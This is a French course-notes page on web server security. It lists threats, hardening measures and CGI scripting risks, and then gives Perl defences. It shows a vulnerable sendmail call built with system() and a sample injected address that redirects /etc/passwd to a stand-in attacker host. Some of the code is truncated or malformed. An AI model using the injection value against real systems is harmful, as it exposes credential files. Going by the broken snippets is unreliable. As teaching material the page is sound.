

G

Sécurité des serveurs HT

1. Accès de personnes non autorisées à des données confidentiels
2. Interception de données sensibles entre le client et le serveur
3. Accès à des informations relatives à la machine hébergeant le serveur
4. Erreurs permettant l'exécution par des personnes non autorisées de programmes modifiant ou détruisant le système de la machine hébergeant le site Web.

1. Spécification des droits d'accès au fichier,
2. Paramétrage des options du serveur,
3. Droits d'exécution des requêtes (user nobody),
4. Utilisation d'une barrière coupe-feu,
5. Restriction des accès aux documents
 - Restriction par adresse IP,
 - Restriction par mot de passe
 - Cryptographie (Secure Socket Layer & HTTP)

Un script CGI peut générer plusieurs problèmes de sécurité :

- en diffusant des informations sensibles du système facilitant la tâche des hackers
- en traitant les données fournies par un utilisateur pouvant exécuter des commandes système par biais de l'interface CGI.

Exemple de commande pour un script d'envoi de mail

```
system ("/usr/lib/sendmail -t $MailAddress < $
```

Problème si les paramètres donnés sont :

```
$MailAddress = "cracker\@bad.com < /etc/passwd  
mail bidule\@biz.a
```

- Eviter l'accès au shell,
- Vérifier la validité des données :
 - + ce qui n'est pas autorisé est interdit,
 - + ce qui n'est pas interdit est autorisé.
- Eviter de fournir des informations concernant l'OS et la machine abritant le serveur
- Ne pas faire d'hypothèse concernant la validité des données transmises.

1. Contournement de l'appel direct au shell :

```
open (MAIL, "|/usr/lib/sendmail -t");  
print MAIL "To: $MailAddress\n";  
open FILEIN, "$InputFile";  
undef $\  
print MAIL <FILEIN>;  
close FILEIN;  
close MAIL;
```

2. Test de la validité des données :

- Test de la validité de l'adresse électronique

```
unless ($MailAddress =~ /^[\\w@\\.-]+$/)  
{  
    # Mauvaise adresse e-mail, generer t  
    exit (1);  
}
```

- Ignore les données contenant des métacaractères

```
if ($MailAddress =~ tr/;<>*|'&$!#{ }[]: '")
{
    # Ignore adresse e-mail car
    #elle contient des métacaractères
    exit (1);
}
```